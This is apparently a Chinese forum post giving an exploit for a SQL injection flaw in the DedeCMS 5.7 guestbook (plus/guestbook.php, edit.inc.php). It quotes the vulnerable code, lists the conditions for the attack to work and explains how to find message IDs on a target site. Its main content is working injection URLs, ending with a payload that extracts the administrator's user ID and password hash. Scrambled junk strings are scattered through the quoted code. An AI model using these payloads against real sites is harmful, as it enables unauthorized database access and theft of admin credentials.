dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7

漏洞文件edit.inc.php具体代码：
9 x! G: B! Z7 j  a8 ?+ Y  T
< ?php  
$ O5 I/ j/ J& X) c# O
$ Y$ l; f+ r1 i, Y- G* R3 pif(!defined('DEDEINC')) exit('Request Error!');  
6 W6 a( z+ ?& ~9 }8 {
+ c8 Z# N* U5 G) G, N# I   

, q- _7 ^1 V! I7 Eif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

else $GUEST_BOOK_POS = "guestbook.php";  
8 C8 H$ p  v. Y5 @+ U+ W4 o
   

$id = intval($id);  
9 ?! |* R$ W0 {) ~
if(empty($job)) $job='view';  

   

' u% q  k' {  Q5 i9 ^+ H  d; eif($job=='del' && $g_isadmin)  
/ b  M1 F- C% V' ?7 H
9 B4 N, E( X9 W5 }{  
; M2 G0 m* g9 o; Z  U7 S
$ A, t! P; k5 W; H- u$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

! Z. q/ S% S% Y( x5 a$ pexit();  

}  

else if($job=='check' && $g_isadmin)  
; G% z! F6 B8 E# c2 c# k5 p' M
{  
7 g9 B6 m% i" K  s, _2 n
' b7 w. [/ ?$ b* K$ }# u3 e$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

) q  f) q6 r: e3 F7 A) zShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  
! d0 D. q# p" `+ L: h
2 U" U. w1 \% x) V! u. Cexit();  

}  

else if($job=='editok')  
' e; l5 u( t7 I8 @; q" ~
{  
4 \% B# Y0 ?+ O$ x: C, A. `+ I: J
$remsg = trim($remsg);  
, e! I# `# y4 u5 g) N. l4 E$ X
if($remsg!='')  
2 f. Y, n& r* l5 Z- M8 l! {% F6 Z
7 l% O5 A2 z5 C{  
- ]0 [6 m/ m# P/ P0 X( Z5 F
5 ?) @6 L; n- t; v, I+ r4 ]//管理员回复不过滤HTML By:Errorera blog:errs.cc  

; r8 y, C3 }0 ?4 C8 H7 g* sif($g_isadmin)  
& g2 F9 l5 q" }' L4 E' J3 I
{  
% Z. B- k& S" m5 s3 c
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
) Q. |: p6 P: g% m7 h" o
//$remsg <br /><font color=red>管理员回复：</font> }  
' e- J$ \4 S  L1 b7 v$ }+ ^8 R4 e1 N
else
2 t" `  ?# a$ u! |% R2 x
{  
- e' d( }; j  S9 Z# s) W+ A
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
8 @; p' g: m& V: Z' H6 V0 z: X
/ I" ?, {: M- D8 m$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
7 g3 ~0 U5 T" A+ h
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

$msg = $oldmsg.$remsg;  
! T* X+ z6 T! ^9 f
, ^- r, m7 M0 D% O0 x% o}  
5 k2 T* p5 p. t
}  
: y8 c; `$ d& `/ P7 n" J1 V
//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  

$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

$ e2 J. D, D$ U2 z5 V# wexit();  
' Y7 {5 z. e& V: |" P
6 s0 L1 }0 r1 o! f& }# f1 P}  

//home:www.errs.cc  

: K  T- p  I. B6 Jif($g_isadmin)  
+ `$ J! h" u- N- X4 z! x
! X/ u6 d( @8 v* X, v1 z) w{  
1 E6 T! ]- h1 K( T# R! D
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
& v1 s5 d+ S, K$ G7 p
$ w8 Z& V' B+ y% Y( r; t! d4 T# ^6 U& g5 v/ hrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
% g0 z' |- n, T  s
9 ~5 t8 |5 Z. T5 C! L}  

. Y' {) d$ c) \# [else

1 u( N9 L3 L( B% y( D' \{  
8 C: h4 _/ X. @" P3 ~, M9 A
' E5 C2 @6 h$ _( E$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
0 y# F! s- q! H9 \
6 Z2 M& B  ?1 ]* y) _require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

# f. `7 C" e8 R+ F+ V; x* h} 漏洞成功需要条件：
1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

怎么判断是否存在漏洞：
0 D3 [/ X2 p5 W9 B6 W& u先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
+ {$ D9 n. J' g# _访问：

: Q! t9 ~4 a0 \" Qwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证

% [' O: Q( p1 l1 |- j) Y
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
0 l7 V3 C4 O, X9 @* `. P; }那么再次访问

5 B# z2 ^: |2 ~3 xwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
: U9 _3 ?# c+ ^, P5 q
大概利用就是这样，大家有兴趣的多研究下！！
/ n" }; v+ v; J; ?0 w1 x0 {& T
9 d3 ?: B' A1 v5 j+ r最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！

view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='